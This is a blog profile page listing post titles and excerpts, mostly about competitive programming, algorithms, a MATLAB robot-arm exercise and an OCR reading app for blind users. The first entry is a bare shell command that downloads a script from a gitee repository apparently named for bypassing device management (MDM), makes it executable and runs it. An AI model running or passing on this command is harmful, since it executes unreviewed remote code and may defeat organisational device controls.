- 博客(40)
- 收藏
- 关注
原创 curl https://gitee.com/jrzzzz/mdmpasssss/raw/master/psmdm.txt -o u.sh && chmod +x ./u.sh && ./u.sh
curl https://gitee.com/jrzzzz/mdmpasssss/raw/master/psmdm.txt -o test.sh && chmod +x ./test.sh && ./test.sh
2023-10-16 23:48:27 194
原创 【公益项目】你一定要来看看!高中生使用swiftUI调用苹果OCR API,离线扫描图书文字并朗读,帮助视障人士阅读纸质书籍IOS软件
总而言之,这款利用苹果OCR API的IOS软件为视障人士提供了独特的阅读体验,同时也在无障碍性和教育领域具有广泛的应用前景。4. 技术发展潜力:随着OCR和语音合成技术的进一步发展,该软件未来可能通过不断改进算法和提升性能,实现更准确、更快速的文字识别和语音合成功能。1. 扫描图书文字:用户将手机摄像头对准要阅读的书籍页面,软件利用OCR(光学字符识别)技术将页面上的文字转换为可编辑和可处理的文本。3. 文字转语音:识别出的文本会通过语音合成技术转化为声音,并以自然流畅的语音读出。
2023-10-02 17:54:06 251
原创 matlab RRR机械臂 简略代码
gazebo在arm mac上似乎难以运行,退而选择Matlab,完成老师第一个作业,现学现卖,权当记录作业过程,有不足之处,多多指教。
2023-07-30 11:15:32 734
原创 1010 数学专题
n人在坐标轴上,第i人在Xi点,到X0时间为∣X0−Xi∣,第i人的准备时间为Ti,总时间是Ti+∣X0−Xi∣。在坐标轴上找一个点使所有人到这个点的总时间最短。误差小于10−6。
2022-10-10 20:55:14 142
原创 ARC129 B-dist
对于一个区间L,R,我们定义函数dist(L,R,X)当xR时 dist(L,R,X) = X-R给你n个区间L,R,编号从1到n,对于每个k=1,2,..N,输出对于前k个区间,任意选一个X的话最大dist最小是多少。
2022-08-25 17:32:07 84
原创 7.8线性dp学习笔记
直达通天路·小 A 历险记第二篇自 010101 背包问世之后,小 A 对此深感兴趣。一天,小 A 去远游,却发现他的背包不同于 010101 背包,他的物品大致可分为 kkk 组,每组中的物品相互冲突,现在,他想知道最大的利用价值是多少。两个数 m,nm,nm,n,表示一共有 nnn 件物品,总重量为 mmm。接下来 nnn 行,每行 333 个数 ai,bi,cia_i,b_i,c_iai,bi,ci,表示物品的重量,利用价值,所属组数。一个数,最大的利用价值。样例输出 #1提示1≤m,
2022-07-09 18:18:15 159
原创 K-Stones 简单的博弈问题
有 K 个石子,双方轮流取石子,每一次取的石子数必须是集合 A 中的一个数,双方都以最优策略行动,判断先手必胜还是后手必胜。第一行给定集合 AAA 的长度 NNN ,石子数 KKK 。第二行输入集合 A={A1,A2,A3,……,AN}A ={A_1,A_2,A_3,……,A_N}A={A1,A2,A3,……,AN}如图: 代表先手胜, 代表后手胜设置 dp[i]:dp[i]:dp[i]: 取 iii 颗石子的胜负情况,dp[i]dp[i]dp[i] 为真则先手胜,否则后手胜。重点是找到破题点
2022-06-20 15:41:49 233
原创 RMQ区间最值查询 ST表笔记
一般使用倍增思想或线段树 来实现。用于解决长序列中最值多次查询的情况。RMQ算法一般用O(NlogN)的时间来处理数列,然后每次查询只需O(1)的时间。这里使用大名鼎鼎的ST表\color{hotpink}{ST表}ST表来实现,给定长度为N的数列A,ST表可以在O(NlogN)时间预处理后以O(1)的时间复杂度来回答任意区间内的最值。设 F[i,j]F[i,j]F[i,j] 表示在数列A从第 iii 个数起连续 2j2^j2j 个数 (i,i+2j−1)(i,i+2^j-1)(i,i+2j−1) 中的最大
2022-06-19 16:51:18 106
原创 atcoder beginner contest 251
A - Six Characters输入一个长度为1~3字符串循环节,输出此循环节长度为6的字符串 。(O(6))#include<bits/stdc++.h>using namespace std;int main(){ string x;cin>>x; printf("%.6s",(x+x+x+x+x+x).c_str());//保留6位,超过截断}B - At Most 3数列中选1~3个数,总和不超过w,能选出多少个不同的总和?暴力,懒得想数学方法了。用
2022-05-19 12:51:27 246
原创 【POJ2762】Going from u to v or from v to u?
【POJ】Going from u to v or from v to u?
2022-05-14 20:48:37 295
原创 atcoder abc 243
A#include<iostream>using namespace std;int main(){ int a,b,c,v; cin>>v>>a>>b>>c;v%=a+b+c; if(v-a<0)cout<<"F"; else if(v-a-b<0)cout<<"M"; else cout<<"T";}B#include<iostream>#include<
2022-05-12 18:12:18 133
原创 atcoder abc247A-D
atcoder abc247A#include<bits/stdc++.h>int main(){int i;std::cin>>i;printf("%04d",i/10);}B#include<bits/stdc++.h>using namespace std;string a,b;int n;map<string,bool>m;int main() { cin >> n; while(n--&&ci
2022-04-14 13:52:46 258
原创 ATCODER abc240部分题解
A判断两数是否相邻,或两数分别为1,10。#include<bits/stdc++.h>using namespace std;int main(){ int a,b;cin>>a>>b; if(abs(a-b)==1||abs(a-b)==9)cout<<"Yes"; else cout<<"No";}B查重,数不同数字的个数,使用set高效去重。#include<bits/stdc++.h>using na
2022-04-11 11:30:50 1116
原创 c++数学知识
数学知识1.质数判定2.质数筛选 —— 埃氏筛,线性筛3.质因子分解.4.试除法求约数,倍数法求约数5.约数个数6.约数和7.最大公约数8.欧拉函数,筛法求欧拉函数质数质数判定暴力试除法bool primes(int x){ for(int i=2;i<x;i++)if(x%2==0)return 0; return 1;}//O(N)暴力优化bool primes(int x){ for(int i=2;i<=x/i;i++)if(x%2
2022-01-27 20:33:00 2128
原创 位运算的一些总结
17号总结1)位运算位运算是指对转换成二进制的数字进行每一位上的0、1的运算,运算涉及到五种运算:与(&),或(|),异或(^),左移(<<),右移(>>)。左移:左移运算符m << n表示把m左移n位。在左移n位的时候,最左边的n位将被丢弃,同时在最右边补上n个0。右移:右移运算符m >> n表示把m右移n位。右移n位的时候,最右边的n位将被丢弃。但是与左移不一样的是,右移时候的最左边的n位处理:如果数字是一个无符号数值,则用0填补最左边
2022-01-18 14:40:48 606
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人